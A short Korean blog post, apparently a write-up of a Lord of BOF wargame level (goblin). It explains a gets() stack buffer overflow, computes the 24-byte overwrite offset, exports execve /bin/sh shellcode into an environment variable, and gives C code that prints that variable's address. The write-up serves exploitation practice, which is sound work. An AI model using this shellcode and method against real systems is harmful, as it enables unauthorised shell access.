Be myself :: BOF원정대 level3

달력

42024  이전 다음

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30

BOF원정대 level3

Wargame 2014. 5. 4. 01:57

1. goblin의 소스코드를 파악한다. 

소스코드를 보면 gets함수로 배열크기 16의 변수에 값을 입력하는 단순한 코드로 되어있다. 

2. gdb로 스택 구조를 파악한다.

밑의 사진을 보면 스택에 16크기가 할당되는 것을 볼 수 있다. 따라서 우리는 배열 변수(16)+ SFP(4) + RET(4)=24만큼의 공격 스크립트를 입력하면 된다.

 

 

3. 환경변수에 셸코드를 올린다. 

export SHELLCODE = $(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')

 

4. 환경변수의 주소값을 출력하는 코드를 작성한다.

 

#include<stdlib.h>

int main(int argc,char* argv[])

{

char* a = getenv(argv[1]);

a+= (strlen(argv[0]) - strlen(argv[2]))*2;

printf("SHELLCODE position is %p \n",a);

return 0;

}

 

그 후  환경 변수의 주소값을 이용해 공격 스크립트를 작성한다.


 

끝..!

 

 

 

'Wargame' 카테고리의 다른 글

Fc3 dark_eyes  (0) 2014.08.22
Suninatas all clear  (3) 2014.07.25
워게임 현황  (0) 2014.07.01
CodeEngn 베이직 올클  (0) 2014.05.14
워게임 사이트  (0) 2014.05.05
Posted by flack3r
|